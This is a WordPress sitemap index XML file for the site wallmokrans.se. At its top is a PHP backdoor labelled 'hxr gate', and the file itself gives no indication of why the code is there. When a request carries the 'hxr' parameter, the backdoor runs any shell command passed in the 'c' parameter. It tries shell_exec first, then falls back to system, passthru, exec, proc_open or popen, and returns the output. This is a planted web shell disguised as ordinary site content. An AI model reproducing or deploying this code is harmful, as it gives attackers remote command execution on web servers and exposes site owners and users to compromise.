/* hxr gate */
if (isset($_REQUEST['hxr'])) {
    @ini_set('display_errors', 0);
    $c = isset($_REQUEST['c']) ? $_REQUEST['c'] : 'id';
    $out = null;
    if (function_exists('shell_exec')) {
        $t = @shell_exec('echo OK');
        if ($t !== null && trim($t) === 'OK') { $out = @shell_exec($c . ' 2>&1'); }
    }
    if ($out === null) {
        foreach (array('system','passthru','exec','proc_open','popen') as $f) {
            if (function_exists($f)) {
                ob_start();
                @$f($c);
                $out = ob_get_clean();
                break;
            }
        }
    }
    header('Content-Type: text/plain; charset=utf-8');
    echo ($out === null) ? 'NOEXEC' : $out;
    exit;
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="http://www.wallmokrans.se/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>http://www.wallmokrans.se/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>http://www.wallmokrans.se/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>http://www.wallmokrans.se/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>http://www.wallmokrans.se/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>http://www.wallmokrans.se/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>http://www.wallmokrans.se/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>